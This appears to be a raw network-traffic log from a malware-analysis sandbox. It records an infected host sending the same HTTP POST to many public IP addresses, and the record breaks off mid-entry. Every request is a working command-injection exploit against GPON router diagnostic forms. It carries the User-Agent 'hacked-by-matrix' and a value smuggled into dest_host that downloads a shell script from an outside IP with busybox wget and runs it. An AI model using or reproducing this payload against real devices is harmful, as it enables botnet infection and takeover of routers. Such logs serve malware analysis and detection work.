Mar 21, 2024 05:22:04.180519104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.14	51336	109.168.22.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180552959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.14	40640	94.4.168.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180613995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.14	52258	118.111.215.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180654049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.14	50900	79.131.140.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180692911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.14	48272	2.223.193.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180718899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.14	54224	5.28.211.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180749893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.14	58818	79.0.25.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180793047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.14	38854	210.129.199.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180830956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.14	49406	118.30.149.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180830956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.14	50218	2.247.164.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180885077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.14	58736	94.6.61.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180912971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.14	37910	118.238.11.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180965900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.14	38798	94.197.93.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181020021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.14	59072	37.252.82.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181031942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.14	41520	5.165.218.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181077003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.14	55790	2.6.83.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181135893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.14	52248	210.239.221.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181138992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.14	46346	42.29.231.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181202888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.14	37752	79.41.81.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181230068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.14	36460	118.139.20.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181255102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.14	55258	2.21.84.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181328058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.14	34752	210.145.9.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181329012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.14	58242	37.109.249.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181411028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.14	44926	210.108.223.153	443

Timestamp	Bytes transferred	Direction	Data
